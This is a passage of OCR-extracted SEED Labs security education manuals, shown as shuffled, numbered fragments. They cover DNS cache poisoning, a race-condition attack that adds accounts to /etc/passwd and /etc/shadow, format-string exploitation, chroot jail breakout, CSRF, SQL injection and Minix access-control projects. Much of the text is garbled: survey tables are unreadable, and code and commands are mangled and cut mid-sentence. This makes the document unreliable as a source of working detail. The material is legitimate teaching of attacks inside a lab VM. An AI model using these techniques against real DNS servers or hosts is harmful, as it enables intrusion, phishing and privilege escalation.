135. gree C Neutral D Agree E Strongly agree 10 4 a D 29 2 54 2 Q7 The time I spent on the lab was worthwhile A Strongly disagree B Disagree C Neutral D Agree E Strongly agree 45 8 2 bend 6 2 Q4 Level of difficulty of this lab A Very easy B Somewhat easy C Average D Someuhat difficult E Very difficult 56 2 39 6 Q9 The lab was a valuable part of this course A Strongly disagree B Disagree C Neutral O Agree E Strongly agree 37 5 Sasa nese tat oF Sunn 48 154 SEED Document Q1 Level of familiarity with Unix A No Experience B Know some commands C Application level development experience D Kernel level development experience E None 40 0 43 6 Q5 Level of interest in the lab A Very low B Lou C Average D High E Very high 40 0 d 0 40 0 ee Q10 As a result of the lab I am more Survey Results IPSec Lab Q2 My preparation was sufficient A Strongly disagree B Disagree C Neutral D Agree E Strongly agree 21 8 fo 47 3 pO 25 5 Q6 Approximate hours spent on this lab A 0 30 hours B 31 50 hours C 51 70 hours D 71 90 hours E gt 90 hours Cp 16 4 25 5 20 0 Q11 Overall I have attained the learning Q3 The lab instructions were clear A Strongly disagree B Disagree C Neutral D Agree E Strongly agree 12 7 DE 3 6 49 1 A Q7 The time I spent on the lab was worthwhile A Strongly d
136. he actual IP address for www dnsphishinglab com instead it is the IP address decided by the attacker The victim browses www dnsphishinglab com not aware that he she is actually browsing a malicious web site that most likely impersonates the real www dnsphishinglab com If victim types any credential information in this malicious web site those credentials will be stolen by the attacker This attack is very similar to the previous DNS Server Cache Poison task but the important distin guishing factor is that this attack is made possible even if the DNS Server and the Attacker are on different 77 Laboratory for Computer Security Education 10 networks For the sake of simplicity this attack is performed on two different machines in the same network but we do not assume that the attacker can observe the DNS request packets Attack Configuration We make the following configuration for this task 1 Configuration the Attack Machine We will use the user machine as our attack machine The user machine is already configured in Section 2 2 It uses the targeted DNS server as its default DNS server 2 Source Ports Some DNS servers now randomize the source port number in the DNS queries this makes the attacks much more difficult Unfortunately many DNS servers still use predictable source port number For the sake of simplicity in this task we assume that the source port number is a fixed number We can set the source port for all DN
137. he h1 heading and paragraph added to the document by the appendp function 2 The phpBB web application uses a cookie based session management scheme Identify the name of the session cookie in phpBB Using the LiveHTTPHeaders extension to find out when the web application creates the session cookie in the web browser please provide a snapshot of the interactions The phpBB web application can be accessed using the URL www originalphpbb com 3 Read the source code of www soplab com cookie html1 and understand how to store read and process the cookies Write your own JavaScript in cookie html1 to display the number of times that the web page has been visited by the current user Task 2 SOP for DOM and Cookies The objective of this task is to illustrate how web browsers identify the origin of web applications and how access restrictions are applied on DOM objects and cookies To illustrate SOP for DOM and cookies we use a web page located at www soplab com index html The web page displays two web pages inside its frames lt frameset rows 75 gt lt frame src about blank name main gt lt frame src navigation html gt lt frameset gt The first frame displays a web page located at www soplab com navigation html and asks the user to provide the URL for another web page to be displayed in the next frame When the user provides the URL a JavaScript program in the first frame displays the r
138. his was however not done for security reasons but for efficiency Minix3 does not support paging or virtual memory and is targeting to be an embedded OS Having separate I and D has an added advantage of efficiency Many instances of the same program can share the same text segement The memory layout for separate I and spaces is represented as follows 101 Laboratory for Computer Security Education 2 210K STACK 208K 207K DATA 203 K TEXT 200K Figure 1 A process in memory Virtual Physical Length Stack 0x5 0xd0 0x2 Data 0 Oxcb 0x4 Text 0 Oxc8 0x3 Given a virtual address and a space to which it belongs it is a simple matter to see whether the virtual address is legal or not and if legal what the corresponding physical address is The program once compiled needs to be loaded into the memory The EXEC system call takes care of that 2 1 EXEC system call The exec call does its job in the following steps 1 2 Check Permissions Is the file executable Get the segment and the total sizes Fetch the argument and the environment from the caller Allocate new memory and release unneeded old memory Copy stack to new memory image Copy data and maybe text segment to new memory image Handle setuid setgid bits Fix up process table entry 102 Laboratory for Computer Security Education 3 9 Tell the kernel that the pro
139. ies For example with the above configuration the web application http www examplel com can be changed by modifying the sources in the directory var www Example_1 Note for Instructors This lab may be conducted in a supervised lab environment The instructor may provide the following background information to students at the beginning of the lab session 1 Information on how to use the preconfigured virtual machine 2 How to use the Firefox web browser and LiveHTTPHeaders Extension 3 How to access the source code for the web applications 46 Laboratory for Computer Security Education 3 3 Background of CSRF Attacks A CSREF attack always involved three actors a trusted site a victim user and a malicious site The victim user simultaneously visits the malicious site while holding an active session with the trusted site The attack involves the following sequence of steps 1 The victim user logs into the trusted site using his username and password and thus creates a new session 2 The trusted site stores the session identifier for the session in a cookie in the victim user s web browser 3 The victim user visits a malicious site 4 The malicious site s web page sends a request to the trusted site from the victim user s browser 5 The web browser automatically attaches the session cookie to the malicious request because it is targeted for the trusted site 6 The trusted site processes the malicious reques
140. ilities making them work Available at http ols fedoraproject org OLS Reprints 2008 hallyn reprint pdf 4 aer POSIX file capabilities Parceling the power of root Available at http www ibm com developerworks library l posixcap html ca dgr Inxw01POSIX capabilities 138 Laboratory for Computer Security Education 1 Web Same Origin Policy Exploration Lab Copyright 2006 2009 Wenliang Du Syracuse University The development of this document is funded by the National Science Foundation s Course Curriculum and Laboratory Improvement CCLI program under Award No 0618680 and 0231122 Permission is granted to copy distribute and or modify this document under the terms of the GNU Free Documentation License Version 1 2 or any later version published by the Free Software Foundation A copy of the license can be found at http www gnu org licenses fdl html 1 Overview The security model of existing web browsers is based the same origin policy and provides some basic protection features to web applications The objective of this labs is to help the students get a good under standing of the same origin policy The understanding will be a precursor for other web related labs such as cross site scripting and cross site request forgery 2 Lab Environment In this lab we will need three things 1 the Firefox web browser 2 the apache web server and 3 the phpBB message board web application For the browser
141. image boot image 3 1 2arXxx XX is the latest revision number d d0p0s0 gt boot DO NOT try to do this project in one sitting You are supposed to do it in 3 4 weeks Spread out the work Late night coding introduces more errors DO NOT do this on a real hard disk You will be risking data corruption 98 Laboratory for Computer Security Education 7 6 Testing your implementation You are free to design your own implementation A sample implementation might look like the following 1 mkfs e dev cOdl Format dev c0d1 as an EFS EFS login Password used for authenticating the user mount e dev cOdl MFS Mount EFS dev c0d1 on MES EFS login Enter the password associated with the given EFS If the password is wrong the FS should not be mounted Copy a file from your drive to ME S It will be in clear text when you read it To demonstrate that encryption decryption process is working comment out the authentication pro cedure and recompile the kernel Then mount the file system and try reading the file It should NOT be in clear text 7 Submission and Demonstration You should submit a detailed lab report to describe your design and implementation You should also de scribe how you test the functionalities and security of your system You also need to demonstrate your system to us Please sign up a demonstration time slot with the TA Please take the following into consider ati
142. in your lab reports e You need to study the process related data strucutres They are defined in three places file system usr src fs memory management usr src mm and kernel usr src kernel e How do you assign capability to a is newly created process e When system boots up a number of processes e g file system process and memory management process will be created do they need to carry capabilities 3 3 Use Capabilities for Access Control When a process tries to access an object the operating system checks the process capability and decides whether to grant the access or not The following issues will give you some hints on how to design and implement such an access control system e To check capabilities you need to modify a number of places in Minix kernel Be very careful not to miss any place otherwise you will have a loophole in your system Please describe these places and your justifiation in your lab report e Where do you check capabilities You should think about applying the reference monitor principle here e The capability implemented in this lab co exists with the Minix s existing ACL access cotnrol mech anism How do you deal with their relationship For example if a process has the required capability but ACL denies the access should the access be allowed On the other hand if a process does not have the required capability but ACL allows the access should the access be allowed In your lab re
143. ing Linux OS 1 SYN Cookie Lab 123 2 Linux Capability Exploration Lab 127 3 Web Same Origin Policy Exploration Lab 139 7 User manual of the pre built Ubuntu 9 virtual machine 147 8 Evaluation of SEED Labs 153 October 20 2009 Participants of the SEED Project Primary Investigator PI Dr Wenliang Kevin Du Syracuse University Co PI Dr Tom Daniels Iowa State University Dr Noreen Gaubatz Syracuse University Dr Peng Ning North Carolina State University Dr Gene Spafford Purdue University Students Swapnil Bhalode Sudheer Bysani Bandan Das Nishant Doshi Jinkai Gao Lin Huang Sridhar Iyer Karthick Jayaraman Sharath Koratikere Tongbo Luo Sankara Narayanan Balamurugan Rajagopalan Divyakaran Sachar Mingdong Shang Sunil Vajir Ronghua Wang Haizhi Xu Zutao Zhu Sponsored by NSF CCLI Program Phase I m SEED Document 1 Introduction of SEED Labs If we adopt a picture that ignores practice our field computing will end up like the failed new math of the 1960s all concepts no practice lifeless dead Peter Denning 1 What are SEED Labs The importance of experiential learning has long been recognized in the learning theory literature How ever computer security education relatively new compared to other computing fields did not have widely adopted laboratory exercises that can be used to enhance students experiential learning To fill such a void in security education we started the
144. ion Vector 16 octets Encrypted Payload variable length a multiple of 16 octets AES CBC requires that data must be encrypted as data chunk with 16 bytes unit If the data is not multiple of 16 we need to pad the data and save how many octets we have padded receivers need this length to restore the original data after decryption 6 MAC Algorithm To compute the authentication data in the ESP tail we need to generate a MAC Message Authentication Code A family of MAC algorithms is called HMAC Hashed MAC which is built on one way hash functions A specific HMAC algorithm is called HMAC X YZ if the underlying hash function is XYZ IPSec can support various HMAC instances such as HMAC MD5 HMAC SHA 256 etc In this lab we only support HMAC SHA 256 The implementation of hash algorithm SHA 256 is given to you you need to use it to implement HMAC SHA 256 To help you we provide an implementation of HMAC MD5 which is quite similar to HMAC SHA 256 3 Design and Implementation Issues In this lab you need to make a number of design and implementation choices Your choices should be justified and the justification should be included in your lab report 1 IPSec Configuration By default machines communicate with each other without using IPSec To let two machines A and B communicate using IPSec system administrators need to configure A and B accordingly Your system should be able to support such configuration Th
145. ion is often used to block an address range 3 Port number Match packets with port numbers 4 Action Specify the actions when a packet matches with a rule Common actions include BLOCK block packets UNBLOCK used in conjunction with BLOCK to allow packets from just one address through while the entire network is blocked see our examples 119 Laboratory for Computer Security Education 2 MANIPULATE perform manipulations on packets such as changing port numbers see below FORWARD direct network data to a file for logging purposes e Manipulate incoming and outgoing packets Oftentimes it is required to perform some kind of manipulations on network packets For example the administrator might have set the SSH server to listen on port 1403 instead of 22 In such a case packets which are meant for port 22 have to directed to port 1403 The manipulate option of the firewall provides this facility Other mandatory parameter that can be manipulated is TTL Time to live You are free to provide other manipulation options stating their use For usage look at the examples Manipulating the TCP part e g port forwarding is not easy and is thus not required We give 10 bonus points if your firewall can implement the port forwarding e Logging One of the hidden features of a packet filter is logging This feature allows network admin istrators to monitor packet flow by FORWARD filtering data to a log file
146. ipt program All the cookies in the web application can be referenced using document cookie object The HTTP protocol is by its nature stateless Therefore web applications use a session management schemes for associating HTTP requests with a particular user and session In cookie based session management schemes web applications store the session identifier in a cookie in the web browser The session cookie is an example of a resource that needs protection to ensure the integrity and correctness of the application 142 Laboratory for Computer Security Education 5 3 3 XMLHttpRequest JavaScript programs may use the XMLHttpRequest API to send HTTP requests for a target URL The following is a simple JavaScript program that uses the XMLHttpRequest API lt script gt xhr new XMLHttpRequest xhr open POST http www originalphpbb com posting php true xhr send null lt script gt The above JavaScript program sends a HTTP POST request to a URL using the open and send meth ods The Same Origin Policy also applies to the target URL used in the send methods 4 Lab Tasks Task 1 Understanding DOM and Cookies The objective of this task is to get familiar with the DOM APIs that can be used for modifying cooikes and web pages 1 Figure 1 illustrates the use of some DOM API Write a JavaScript function that traverses and displays the entire DOM tree for the web page in Figure 1 The function should show t
147. is located in usr bin Some functions of nmap require root privilege Firefox extensions Firefox is installed by default in Ubuntu 9 We have installed two useful exten sions LiveHTTPHeaders and Firebug They can be launched in the Tools menu in Firefox PhpBB2 Forum For some labs especially those related to web security we need a non trivial web appli cation For that purpose we have installed the phpBB2 forum Several versions of phpBB2 forum are installed most of them were modified from the original phpBB2 to introduce different vulnerabilities It should be noted that to access the phpBB2 forum the apache2 http server and the MySQL database server must be running Java We have installed the Sun java JDK The commands javac and java are available to compile and run java source code 4 Pre Installed Servers Some of the SEED labs may need additional services that are not installed or enabled in the standard Ubuntu distribution We have included them in our pre built VM Note You need root privilege to start a server 148 SEED Document 3 4 1 The MySQL Server The database server MySQL is installed It can be started by running service mysql start Cur rently there are two accounts in the MySQL server The usernames and passwords are listed below 1 root seedubuntu 2 apache apache web applications use this account to connect to the mysql server You can access the MySQL database server by runnin
148. isagree B Disagree C Neutral D Agree E Strongly agree 41 8 Then n Ema 45 5 Q4 Level of difficulty of this lab A Very easy B Somewhat easy C Average D Somewhat difficult E Very difficult d 16 4 49 1 f x a 3 6 V d 30 9 Q9 The lab was a valuable part of this course A Strongly disagree B Disagree C Neutral D Agree E Strongly agree 87 0 7 3 7 O wY 57 4 interested in computer security A Strongly disagree B Disagree C Neutral D Agree E Strongly agree objectives of the lab A Strongly disagree B Disagree C Neutral D Agree E Strongly agree 43 6 i Tew a 1 8 47 3 Mea Me Mc Bo Be Number of External Downloads To measure the impact on external users is very difficult however just like many companies who want to how customers like their products we use a similar approach analyzing web traffic data We started tracking the downloads of our labs and the related materials since the beginning of this Phase II project in January 2007 We plot the number of downloads for each lab and the number of total downloads for each month in the following We have excluded the downloads from our own university It should be noted that the actual downloads will be more because some instructors have chosen to host some of the labs on the web servers in their own universities Number of Downloads for Each Lab January 2007 May 2009 IPSec I 41561 Attacks TCPIP 3855 Buffer Overflow
149. it points to the i node of the process s root directory Other Unix systems have a similar attribute for each process e Hint 2 Remember that if your current directory is not the same as fp_rootdir you can always conduct cd However you do want to do cd at the root the prison s root directory to get out of the prison The question is whether you can create a scenario where the following three conditions are all true simultaneously 1 your current directory is tmp 2 your prison is rooted at tmp but 3 fp_rootdir is not tmp If you remember how and when fp_rootdir is updated you might be able to create the above scenario Note chdir and fchdir calls might be useful b Killing processes demonstrate how attackers can kill other processes c Controlling processes demonstrate how to use pt race to control other processes 5 Securing chroot Discuss how you can solve the above problems with chroot Implementation is not required Submission You need to submit a detailed lab report to describe what you have done and what you have observed you also need to provide explanation to the observations that are interesting or surprising 43 44 Laboratory for Computer Security Education 1 Cross Site Request Forgery CSRF Attack Lab Copyright 2006 2009 Wenliang Du Syracuse University The development of this document is funded by the National Science Foundation s Course Curriculum and Lab
150. k about how to increase the probability Hints you can run the vulnerable program for many times you only need to achieve success once among all these trials Since you need to run the attacks and the vulnerable program for many times you need to write a program to automate the attack process To avoid manually typing an input to vulp you can use redirection Namely you type your input in a file and then redirect this file when you run vulp For example you can use the following vulp lt FILE In the program vulp c we intentionally added a DELAY parameter in the program This is intended to make your attack easier Once you have succeeded in your attacks gradually reduce the value for DELAY When DELAY becomes zero how much longer does it take you to succeed 3 4 Knowing whether the attack is successful Since the user does not have the read permission for accessing et c shadow there is no way of knowing if it was modified The only way that is possible is to see its time stamps Also it would be better if we stop the attack once the entries are added to the respective files The following shell script checks if the time stamps of etc shadow has been changed It prints a message once the change is noticed bin sh old ls 1 etc shadow new ls 1 etc shadow while Sold Snew do new ls 1 etc shadow done echo STOP The shadow file has been changed 3 5 Troubleshooting While tes
151. l Named Servers or Parent Servers for the Name Resolution The behavior is quite predictable Students can use Wireshark to understand the behavior of the DNS server before launching the attack nttp www hacktoolrepository com tool 71 79 Laboratory for Computer Security Education 12 4 Submission Students need to submit a detailed lab report to describe what they have done and what they have observed Report should include the evidences to support the observations Evidences include packet traces screen dumps etc References 1 RFC 1035 Domain Names Implementation and Specification http tools ietf org html rfc 1035 2 DNS HOWTO http www tldp org HOWTO DNS HOWTO html 3 BIND 9 Administrator ReferenceManual http www bind9 net manual bind 9 3 2 Bv9ARM ch01 html 4 Pharming Guide http www ngssoftware com papers ThePharmingGuide pdf 5 DNS Cache Poisoning http www secureworks com research articles dns cache poisoning 6 DNS Client Spoof http evan stasis org odds dns client_spoofing txt 7 _ Phishing http en wikipedia org wiki Phishing 80 Laboratory for Computer Security Education 1 Role Based Access Control RBAC Lab Minix Version Copyright 2006 2009 Wenliang Du Syracuse University The development of this document is funded by the National Science Foundation s Course Curriculum and Laboratory Improvement CCLI program under Award No 0618680 and 02311
152. l the cached information expires This attack is called DNS cache poisoning The following diagram illustrates this attack spoofed DNS response 3 DNS query 1 DNS Server lt User Attacker 192 168 0 10 192 168 0 100 192 168 0 200 LAN or Virtual Network Internet DNS query 2 gt Root DNS Server legitimate DNS response 4 We can use the same tool Netwox 105 for this attack Before attacking make sure that the DNS Server s cache is empty You can flush the cache using the following command sudo rndc flush The difference between this attack and the previous attack is that we are spoofing the response to DNS server now so we set the filter field to src host 192 168 0 10 which is the IP address of the DNS server We also use the tt 1 field time to live to indicate how long we want the fake answer to stay in the DNS server s cache After the DNS server is poisoned we can stop the Netwox 105 If we set ttl to 600 seconds then DNS server will keep giving out the fake answer for the next 10 minutes 15 Laboratory for Computer Security Education 8 Note Please select the raw in the spoofip field otherwise Net wox 105 will try to also spoof the MAC address for the spoofed IP address To get the MAC address the tool sends out an ARP request asking for the MAC address of the spoofed IP This spoofed IP address is usually a root DNS server this is usua
153. lConn Contacts the web server and gets the status code from HTTP Response messag responseCode httpConn getResponseCode System out println Response Code responseCode HTTP status code HTTP_OK means the response was received sucessfully if responseCode HttpURLConnection HTTP_OK Get the input stream from url connection object responselIn urlConn getInputStream Create an instance for BufferedReader to read the response line by line BufferedReader buf_inp new BufferedReader new InputStreamReader responseln String inputLine while inputLine buf_inp readLine null System out println inputLine catch MalformedURLException e e printStackTrace If you have trouble understanding the above program we suggest you to read the following e JDK 6 Documentation http java sun com javase 6 docs api e Java Protocol Handler http java sun com developer onlineTraining protocolhandlers 55 Laboratory for Computer Security Education 6 Limitation The forged message post should be generated from the same virtual machine i e the victim user connected to the web forum and the attacker one who generates a forged message post should be on the same machine because phpBB uses IP address and the cookies for session management If the attacker generates the forged message post from a different machine the IP a
154. ld I Use Over the last few years we have worked with a number of instructors who adopted our labs in their classes Based on the experience we have summarized the following guidelines to help you decide whether to adopt our labs or not how to adopt our labs what labs to adopt etc 1 Overview Deciding what labs to adopt is up to you and is dependent on how you would like to teach a security course Before we started this project we have conducted a survey to investigate how the instructors at different universities teach computer security courses The results indicate that unlike some other courses such as Operating System and Networking there are no well adopted consensus on what should be covered in computer security courses Giving the unique nature of computer security it might be a wrong direction to develop such a consensus Having in mind the wide variety of ways of teaching computer security we develop our labs not based on a specific syllabus but instead we want our labs to cover as many aspects of computer security as possible this way instructors can always find some labs that are suitable for their security courses regardless of how they teach the courses To help instructors find out what labs are appropriate for their courses without knowing how they teach the courses is not easy however we have developed the following two strategies that can help achieve this goal the principle based strategy and the course based strategy
155. let go the root privileges 4 Breaking out of a chroot jail Some server programs are usually executed with root privileges To contain the damage in case the server programs are compromised these programs are put in a sandbox such as the chroot jail Assume that an attacker has already compromised a server program and 42 Laboratory for Computer Security Education 3 can cause the server program to run with root privilege any arbitrary code Can the attacker damage anything outside of the sandbox Please demonstrate your attacks You do not need to demonstrate how you compromise a server program Just emulate that by writing a program with embedded malicious code and then run this program as a root in the chroot jail Then demonstrate the damage that you can achieve with this malicious code You can put anything you want in the malicious code You should try your attacks on Linux If you have an access to Minix please also try your attacks on Minix whether attacks on Minix are required is at the discretion of your instructor a Using cd to get out of the jail your malicious code should still maintain the root privilege after getting out e Hint 1 Remember how Minix prevents a process from using cd to get out of prison If a process is at the root of a prison directly using cd will not work because tmp the current directory is the same as fp_rootdir InMinix fp_rootdir is an attribute attached to each process
156. lity to append some information to both et c passwd and etc shadow These two files are used by Unix operating systems to authenticate users If attackers can add information to these two files they essentially have the power to create new users including super users by letting uid to be zero The etc passwd file is the authentication database for a Unix machine It contains basic user at tributes This is an ASCII file that contains an entry for each user Each entry defines the basic attributes applied to a user When you use the mkuser command to add a user to your system the command updates the etc passwd file The file et c passwd has to be world readable because many application programs need to access user attributes such as user names home directories etc Saving an encrypted password in that file would mean that anyone with access to the machine could use password cracking programs such as crack to break into the accounts of others To fix this problem the shadow password system was created The etc passwd file in the shadow system is world readable but does not contain the encrypted passwords Another file etc shadow which is readable only by root contains the passwords To find out what strings to add to these two files run mkuser and see what are added to these files For example the followings are what have been added to these files after creating a new user called smith etc passwd smith x 1000 1000 Joe Smith
157. ll stop reading anything after these special characters if we have only one s in scanf If one of these special numbers are in the address you have to find ways to get around this To simplify your task if you are unlucky and the secret s address happen to have those special numbers in it we allow you to add another malloc statement before you allocate memory for secret 2 This extra malloc can cause the address of secret values to change If you give the malloc an appropriate value you can create a lucky situation where the addresses of secret do not contain those special numbers The following program writes a format string into a file called myst ring The first four bytes consist of an arbitrary number that you want to put in this format string followed by the rest of format string that you typed in from your keyboard write_string c 29 Laboratory for Computer Security Education 4 include lt sys types h gt include lt sys stat h gt include lt fcntl h gt int main char buf 1000 int fp size unsigned int xaddress x Putting any number you like at the beginning of the format string address unsigned int buf xaddress 0x22080 x Getting the rest of the format string scanf s buft 4 size strlen buf 4 4 printf The string length is d n size x Writing buf to mystring fp open mystring O_RDWR O_CREAT O_TRUNC S_IRUSR S_IWUSR if
158. lly the first place that a DNS server will ask if it cannot resolve a name and obviously the root DNS server is not on the same LAN Therefore nobody will reply the ARP request The tool will wait for the ARP reply for a while before going ahead without the MAC address The waiting will delay the tool from sending out the spoofed response If the actual DNS response comes earlier than the spoofed response the attack will fail That s why you need to ask the tool not to spoof the MAC address You can tell whether the DNS server is poisoned or not by using the network traffic captured by wireshark or by dumping the DNS server s cache To dump and view the DNS server s cache issue the following command sudo rndc dumpdb cache sudo cat var cache bind dump db 3 4 Advanced DNS Cache Poisoning Note this task needs a substantial amount of time Students need to modify an existing program pacgen c to forge DNS response packets UDP packets However the program only has less than 400 lines of code and is not difficult to understand Students only need to modify a small portion of the code to construct DNS packets Students also need to spend time to understand the format of DNS response packets The previous attack assumes that the attacker and the DNS server are on the same LAN i e the attacker can observe the DNS query message When the attacker and the DNS server are not on the same LAN the cache poisoning attack becomes more
159. lock cipher it requires that data must be encrypted as a data chunk of 16 bytes If the data in particular the last block of a file is not a multiple of 16 we need to pad the data Will this increase the length of your file How do you make sure that the padded data is not seen by users To use AES you should install the Libcrypt library in your Minix system The installation manual is available on the web site of this lab This library includes both encryption and one way hashing 94 Laboratory for Computer Security Education 3 3 EFS Setup Modifying a file system can be very risky You could end up loosing all data restoring the old boot image wont help if your file system is messed up A good way to avoid these troubles is to have an extra hard disk at your discretion You can always reformat this hard disk when things go wrong Of course you do not need a physical hard disk in Vmware you can use a virtual one Here are the steps on how to create a virtual hard disk how to build a file system on the disk and how to mount and use the file system 1 Goto the settings page of your virtual machine and add a hard drive a Right click on your VM s tab and select settings from the menu b Click on the Add button on the Hardware tab c Select Hard Disk from the popup window and select default options already highlighted in the consecutive steps d A preallocated hard disk of size 100 MB should be sufficient for our case
160. ment of this document is funded by the National Science Foundation s Course Curriculum and Laboratory Improvement CCLI program under Award No 0618680 and 0231122 Permission is granted to copy distribute and or modify this document under the terms of the GNU Free Documentation License Version 1 2 or any later version published by the Free Software Foundation A copy of the license can be found at http www gnu org licenses fdl html 1 Overview SQL injection is a code injection technique that exploits the vulnerabilities in the interface between web applications and database servers The vulnerability is present when user s inputs are not correctly checked within the web applications before sending to the back end database servers Many web applications take inputs from users and then use these inputs to construct SQL queries so the web applications can pull the information out of the database This is a common practice in the development of web applications The web application phpBB that we select for this lab uses this practice when authenticating users Namely when a user tries to login phpBB constructs a SQL query using the user name and password provided by the user and then send this query to the back end database to find out whether the user should be authenticated If the SQL query is not carefully constructed SQL injection vulnerabilities can occur In this lab we modified the original phpBB software and disabled
161. mentation the others are just dummy capabilities 1 CAP_ALL This capability overrides all restrictions This is equivalent to the traditional root privi lege 2 CAP_READ Allow read on files and directories It overrides the ACL restrictions regarding read on files and directories 3 CAP_CHOWN Overrides the restriction of changing file ownership and group ownership Recall that for security reasons normal users are not allowed to call chown This capability overrides the restriction 4 CAP_SETUID Allow to change the effective user to another user Recall that when the effective user id is not root calling setuid and seteuid to change effective users is subject to certain restrictions This capability overrides those restrictions 5 CAP_KILL Allow killing of any process It overrides the restriction that the real or effective user ID of a process sending a signal must match the real or effective user ID of the process receiving the signal 6 CAP ROLE Delegate This capability is related to roles It will be discussed in the RBAC section 81 Laboratory for Computer Security Education 2 7 CAP_7 CAP_80 These are dummy capabilities They will not affect access control We just pretend that these capabilities can affect access control We want to have a significant number of capabilities in this lab to make the management the next part more interesting You need to demonstrate how these capa
162. movl Sesp ebp 11 subl 8 Sesp 12 movl 8 Sebp eax 13 movl eax 4 esp 14 movl S LCO esp string Hello world d n 15 call printf 16 leave 17 ret 21 main 22 leal 4 Sesp ecx 23 andl 16 Sesp 24 pushl 4 ecx 25 pushl Sebp 26 movl Sesp ebp 27 pushl ecx 28 subl 4 esp 29 movl 1 esp 23 Laboratory for Computer Security Education bfffe764 bfffe764 bfffe764 Parameters P ters Parameters 00000001 p 00000001 bfffe760 Sa Ab 00000001 bfffe760 bfffe760 esp Return addr 080483de pfffe75c Retum addr 080483de pfffe75c Old eb esp SE bfffe768 bfffe758 Dd esp ebp eee b Line 30 call foo Line 9 push ebp ine 29 movl 1 es ASSP Line 10 movl esp ebp bfffe764 bfffe764 5 bfffe764 arameters 00000001 i P ters Parameters 00000001 bfffe760 arametets 00000001 HFFFe760 ur bfffe760 esp Return addr 080483dc bfffe75c Return addr 80483dc bfffe75c Old ebp bfffe768 fffe758 esp Local iis ebp variables bfffe750 esp d Line 11 subl 8 esp e Line 16 leave Figure 1 Entering and Leaving foo 30 call foo 31 movl SO eax 32 addl 4 esp 33 popl ecx 34 popl Sebp 35 leal 4 ecx esp 36 ret f Line 17 ret 3 4 Calling and Entering foo Let us concentrate on the stack while calling foo We can ignore the stack before that Please note that line num
163. n 2 1 Configure VMWare Network Adapter Change the VMWare network adapter to use network mask 255 255 0 0 The adapter could be VMnet 8 which is used as NAT In Windows You can right click My Network Places andchoose Properties from there pick VMWare Network Adapter VMnet8 Properties Internet Protocol TCP IP Properties You will finally get to a place where you can set the network mask 2 2 Configure Routing table Append add_route command at the end of etc rc to add routing information For example the routing in Figure 1 is set up using the following commands 115 SEED Document 2 VMnet8 192 168 0 0 23523300 2 agn aaa a ts incoming route pr_routes i incoming route pr_routes i dest gateway i dest gateway i 192 168 131 0 24 192 168 131 201 1 192 168 133 0 24 192 168 133 201 192 168 133 154 32 192 168 133 154 Hee ooo TAN 20032 192 ROD 300a Gwl Gw2 IP 192 168 133 20 besser cere i e a En IP 192 168 131 201 Netmask 255 255 0 0 Netmask 255 255 0 0 HOST 1 HOST 2 IP 192 168 133 154 IP 192 168 131 200 Netmask 255 255 255 0 Netmask 255 255 255 0 a outgoing route pr_routes 1 outgoing route pr_routes dest gateway dest gateway 192 168 0 0 16 192 168 133 201 192 168 0 0 16 192 168 131 201 Figure 1 Test Environment Example HOST1 add outgoing route add_route g 192 168 133 201
164. n elegant method to do this Using his method attackers will be able to continuously attack a DNS server on a domain name without the need for waiting With this method an attacker can succeed within a very short period of time Details of the attacks are described in the following URL see the footnote In this task we will try this attack method http spectrum ieee org computing software fresh phish 76 Laboratory for Computer Security Education 9 B e NS2 Query ATTACKER VICTIM Figure 1 DNS Phishing Attack Details We choose a fictitious company dnsphishinglab comas our targeted domain name Students can choose any domain name they like but please make sure the attack is targeted at the DNS server in this lab environment not at a real DNS server The following steps with reference to Figure 1 describe the outline of the attack l The attacker queries the DNS Server for an non existing subdomain in dnsphishinglab com for example xyz dnsphishinglab com Since the mapping is unavailable in its cache the DNS Server queries other DNS servers for name resolution The attacker floods the spoofed DNS response to the DNS server to make the attack successful If successful the spoofed answer will be cached and thus the DNS cache is poisoned The victim machines query the poisoned DNS server for www dnsphishinglab com the IP ad dress returned from the DNS server is not t
165. n gt Synaptic Package Manager and search for libnet1 dev and select that for Mark for Removal from the dropdown menu Make sure that libnet1 package is enabled Note 2 Sometimes the compilation might give the following error link layer error on eth0O SIOCGIFHWADDR No Such Device in which case just update the pacgen c file s device variable to your system s et h number which can be found using the following command ifconfig 3 Execution Students can read the README file in pacgen tool to check for the execution information In short the following command should do for running pacgen you need to have the root privilege to run the program otherwise you will get an error message sudo sh run_default sh Attack Tips 1 DNS Response Data The DNS response should be updated to the payload_location variable 2 Source Port The destination port of the DNS Response should match with the DNS Query Source Port which is 33333 set in this task 3 Transaction ID The transaction ID of the DNS reply should match with the DNS Query for the attack to be successful The transaction ID varies randomly between 0 65535 The attack program can pick random IDs in the forged response packets or it can keep generating packets with a fixed range of transaction IDs the latter will be easier to implement 4 Source IP The source IP of the DNS reply should match with the Destination IP of the DNS Query Normally DNS Server contacts severa
166. n the future you are facing a similar choice features or security I am sure you will face this kind of choice quite often I hope that you remember this lesson Kevin Du April 30 2008 References 1 D F Ferraiolo R Sandhu S Gavrila D R Kuhn and R Chandramouli Proposed NIST standard for role based access control ACM Transactions on Information and system Security 4 3 224 274 August 2001 88 Laboratory for Computer Security Education 1 Capability Lab Copyright 2006 2009 Wenliang Du Syracuse University The development of this document is funded by the National Science Foundation s Course Curriculum and Laboratory Improvement CCLI program under Award No 0618680 and 0231122 Permission is granted to copy distribute and or modify this document under the terms of the GNU Free Documentation License Version 1 2 or any later version published by the Free Software Foundation A copy of the license can be found at http www gnu org licenses fdl html 1 Lab Description The learning objective of this lab is for students to apply the capability concept to enhance system security In Unix there are a number of privileged programs e g Set UID programs when these programs are run even by normal users they run as root i e system administrator namely the running programs possess all the privileges that the root has despite of the fact that not all of these privileges are actually
167. nal inode size is 64 bytes 2 Changing the inode essentially means that we are creating a new file system A number of changes need to be made in the operating system so the OS can support this new file system Please refer to the document 2 for details 3 Defining a new file system allows the EFS to co exist with the other existing file systems This gives you the flexibility to extend it in any way you like without touching other file systems 96 Laboratory for Computer Security Education 5 4 2 Store extra information in superblock The superblock contains information necessary to identify file systems Each file system has its own su perblock File system specific information can be stored here For example you can store the information specific to your EFS in the super block Unlike the modification of inodes modification additions to the superblock is quite straightforward 4 3 Modifying EFS In Minix the do_read and do_write procedures perform the read and write operations respec tively Due to the similarity in these operations both these procedures call read_write which calls rw_chunk to read data from the block cache to the user space Somewhere down the procedure call hierarchy rw_block is invoked to read a block of data from the disk and load it to the block cache This means that we can implement the encryption decryption operation in two places 1 Decrypt a block from the in memory block cache befor
